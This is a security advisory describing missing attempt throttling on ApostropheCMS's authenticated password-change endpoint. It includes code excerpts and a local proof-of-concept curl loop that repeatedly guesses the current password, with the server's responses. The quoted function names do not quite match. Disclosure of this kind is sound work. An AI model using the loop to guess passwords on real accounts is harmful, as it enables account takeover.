CVE-2026-113710: ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

The password-change route is: PATCH /api/v1/@apostrophecms/settings/password

The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );

The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( ‘forbidden’, ‘apostrophe:passwordCurrentError’, { path: ‘passwordCurrent’ } ); } return subform; }

The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

Local PoC The test used a disposable authenticated guest session against:

Request:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}

Equivalent command:

for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done

Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { “name”: “forbidden”, “data”: { “path”: “passwordCurrent” }, “message”: “apostrophe:passwordCurrentError” }

Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.